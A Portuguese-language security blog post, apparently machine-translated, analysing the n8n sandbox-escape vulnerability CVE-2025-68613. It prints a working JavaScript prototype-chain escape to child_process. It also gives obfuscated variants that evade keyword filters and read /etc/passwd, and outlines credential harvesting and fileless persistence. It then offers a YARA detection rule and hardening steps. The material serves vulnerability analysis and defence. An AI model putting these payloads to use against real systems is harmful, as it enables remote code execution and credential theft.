Cabeçalho penumbroso

A autópsia definitiva do CVE-2025-68613: quando o mecanismo de fluxo de trabalho n8n se torna um cavalo de Troia

No cenário de segurança em fechamento de 2025, a divulgação de CVE-2025-68613 (CVSS 10.0) atingiu o setor com a força de uma arma cinética. Como a ferramenta de automação de fluxo de trabalho de código aberto mais popular do mundo, n8n é a base da lógica comercial principal de inúmeras empresas. No entanto, essa vulnerabilidade, que permite que invasores não autenticados (ou com poucos privilégios) executem códigos arbitrários, expôs completamente o calcanhar de Aquiles arquitetônico das modernas plataformas "Low-Code/No-Code".

Para os engenheiros de segurança seniores e pesquisadores da Equipe Vermelha, o CVE-2025-68613 é muito mais do que uma "falha de validação". Trata-se de um estudo de caso exemplar sobre a exploração combinada da Tempo de execução dinâmico do Node.js, Falha no modelo de capacidade do objetoe Protótipo de poluição.

Este artigo abandona os relatórios superficiais de vulnerabilidade para se aprofundar nos componentes internos do mecanismo V8, desconstruir cada byte da fuga da sandbox e fornecer um manual abrangente de detecção e defesa para as Blue Teams corporativas.

CVE-2025-68613

Desconstruindo a superfície de ataque

A principal proposta de valor da n8n é a "conectividade". Ela une bancos de dados, serviços SaaS e APIs internas por meio de milhares de nós de integração. Para possibilitar o processamento dinâmico de dados, a n8n permite que os usuários incorporem expressões JavaScript nos nós, normalmente envoltas em {{ }} sintaxe.

Antes do surgimento do CVE-2025-68613, o n8n contava com o Node.js nativo vm para isolar esse código fornecido pelo usuário.

Por que Node.js vm?

O Node.js vm permite compilar e executar código em um contexto de máquina virtual V8. Ele fornece um objeto global isolado (Contextified Sandbox).

  • Idealmente: O código não pode acessar variáveis fora da área restrita.
  • Realidade: O vm O módulo é amplamente reconhecido na comunidade de segurança como "Quebrado por design.”

Análise da superfície de ataque:

  1. Pontos de entrada: Qualquer nó que aceite entrada de expressão (por exemplo, Conjunto, Função, Solicitação HTTP nós).
  2. Fluxo de execução: Entrada do usuário -> Análise de cadeia de caracteres vm.runInNewContext() -> Execução.
  3. A falha: Desde que qualquer objeto dentro da sandbox faça referência a um objeto externo (por exemplo, passando variáveis de ambiente do host por meio do este ), um invasor pode aproveitar a função Protótipo de escalada em cadeia para escapar da área restrita.

Mergulho técnico profundo - da cadeia de protótipos ao RCE

Para entender a lógica de exploração do CVE-2025-68613, é preciso compreender a construtor em JavaScript.

Quase todos os objetos em JavaScript têm um construtor apontando para a função que o criou.

  • ({}).constructor === Objeto
  • Objeto.construtor === Função

A lógica do Core Escape: this.constructor.constructor

No ambiente restrito do n8n, um invasor não pode chamar diretamente require('child_process'). No entanto, o invasor possui o contexto de execução atual: este.

  1. Pulo 1: este é o objeto de contexto dentro da área restrita.
  2. Pulo 2: this.constructor é o Objeto dentro da sandbox.
  3. Salto 3 (crítico): this.constructor.constructor resolve para o Hospedagem Função construtor.

Por que isso viola a área restrita? Porque o mecanismo V8, ao lidar com interações de objetos entre contextos, resolve a cadeia do construtor para a definição externa se o objeto raiz tiver sido originado de fora.

Quando o invasor obtém os dados do host Função eles podem gerar dinamicamente uma função anônima que é executada no construtor Contexto do host. Essa função anônima não é limitada por restrições de sandbox e pode acessar o processo objeto.

A primitiva de exploração completa

A carga útil criada pelo invasor não é uma simples cadeia de caracteres, mas um trecho preciso de código JavaScript projetado para reconstruir o sistema de carregamento de módulos do Node.js.

JavaScript

`// Fase 1: adquirir o construtor de funções do ambiente host const ForeignFunction = this.constructor.constructor;

// Fase 2: criar dinamicamente uma função que retorne o objeto 'process' // Esse código é executado no contexto do host, ignorando a área restrita const getProcess = ForeignFunction('return process');

// Fase 3: executar a função para obter o identificador do processo const proc = getProcess();

// Fase 4: acessar o mainModule para obter o identificador 'require' const require = proc.mainModule.require;

// Fase 5: Carregar 'child_process' e executar comandos do sistema const result = require('child_process').execSync('id').toString();`

Em um n8n {{ }} expressão, essa lógica é comprimida em uma injeção letal de uma linha.

Combate e ofuscação - contornando os filtros estáticos

Nas primeiras tentativas de defesa contra o CVE-2025-68613, alguns patches temporários tentaram filtrar palavras-chave como process, constructor ou require usando regex.

No entanto, para uma linguagem altamente dinâmica como o JavaScript, a filtragem estática é inútil.

Variante de ofuscação A: Concatenação e codificação de strings

Os invasores aproveitam a flexibilidade do JavaScript para dividir ou codificar palavras-chave, ignorando a detecção de assinaturas.

JavaScript

{{ // Ignorando a detecção do "construtor" this['con'+'structor']['con'+'structor']( // Ignorando a detecção do "processo de retorno" 'return p'+'rocess' )() .mainModule.require('ch'+'ild_pr'+'ocess') .execSync('cat /etc/passwd') }}

Variante de ofuscação B: Reflexão e proxy

Os atacantes avançados usam Refletir.get para acessar dinamicamente as propriedades, o que dificulta a análise da árvore de sintaxe abstrata (AST) para rastrear a cadeia de chamadas.

JavaScript

{{ // Usando o Reflect para encontrar a chave do construtor dinamicamente const c = Reflect.get(this, Reflect.ownKeys(this).find(k => k.toString() === 'constructor')); // Prossiga com a execução... }}

Isso demonstra que a simples correspondência de regex não pode corrigir o CVE-2025-68613; a correção deve abordar o Restrições de capacidade do objeto.

Pós-exploração - por que a n8n é o ponto de partida perfeito

Comprometer o servidor n8n (obter um Shell) é apenas o começo. Em uma cadeia de destruição de APT (Ameaça Persistente Avançada), o n8n tem um valor estratégico exclusivo.

Coleta de credenciais

O banco de dados n8n (normalmente SQLite ou PostgreSQL) armazena credenciais para todos os serviços conectados. Quando criptografado, um invasor com RCE pode ler a chave de criptografia (geralmente em variáveis de ambiente ou arquivos de configuração) e, assim, descriptografar:

  • Chaves de usuário do AWS IAM
  • Chaves de API do Stripe / PayPal
  • Strings de conexão de banco de dados corporativo
  • Tokens de bot do Slack / Discord

Movimento lateral

Os servidores n8n geralmente são implantados profundamente na intranet e têm permissão para acessar várias APIs internas. Os invasores podem usar o n8n como um Proxy SOCKSou modificar diretamente os nós de solicitação HTTP existentes para enviar solicitações de sondagem a outros serviços internos (como Jenkins, GitLab), examinando efetivamente os ativos internos.

Persistência

Os binários de malware tradicionais são verificados por soluções EDR. Mas se um invasor criar um fluxo de trabalho "Cron" no n8n que seja executado a cada 5 minutos e execute JavaScript mal-intencionado, esse backdoor será Sem arquivo. Ele se mistura totalmente à lógica comercial normal, o que o torna extremamente difícil de detectar.

Manual da Equipe Azul - Detecção e Defesa

Para as equipes de segurança corporativa (Blue Teams), enfrentar o CVE-2025-68613 exige mais do que apenas aplicar o patch oficial.

Detecção de assinatura de tráfego (SIEM/IDS)

Monitorar corpos de solicitação HTTP contendo {{ que também incluem palavras-chave como construtor, processo, executarou desova.

Exemplo de regra YARA:

rule DETECT_N8N_RCE_ATTEMPT { meta: description = "Detecta tentativas de injeção de expressão direcionadas ao n8n (CVE-2025-68613)" severity = "Critical" strings: $expr_start = "{{" $keyword1 = "constructor" $keyword2 = "process.mainModule" $keyword3 = "child_process" $keyword4 = "String.fromCharCode" condition: $expr_start and (2 of ($keyword*)) }

Auditoria de registros

Auditar os registros de execução do n8n para detectar anomalias ERRO mensagens, especificamente registros contendo Acesso negado à variável global ou ReferenceError: o processo não está definido. Isso geralmente indica um invasor sondando os limites da sandbox.

Endurecimento arquitetônico

  • Isolamento do Docker: Execute os contêineres n8n com -cap-drop=ALL para remover todos os recursos desnecessários do Linux.
  • Controle de tráfego de saída: Configure as políticas de rede para proibir que o contêiner n8n inicie conexões com IPs públicos não incluídos na lista de permissões, impedindo que os shells reversos se conectem aos servidores C2.

Conclusão: Um ponto de virada para a segurança com pouco código

O CVE-2025-68613 representa um ponto de virada no histórico de segurança das plataformas de baixo código/não código. Ele nos lembra que A flexibilidade e a segurança geralmente são um jogo de soma zero.

Quando concedemos todo o poder de uma linguagem de programação (como expressões JavaScript) a usuários comuns, estamos efetivamente convidando os invasores para o nosso ambiente de tempo de execução. As futuras defesas de segurança não podem mais depender de frágeis sandboxes em nível de aplicativo, mas devem mudar para Seguro por design arquiteturas, como o uso do WebAssembly (Wasm) para um verdadeiro isolamento à prova de memória da execução do código do usuário.

Referências confiáveis

Compartilhe a postagem:
Publicações relacionadas
pt_BRPortuguese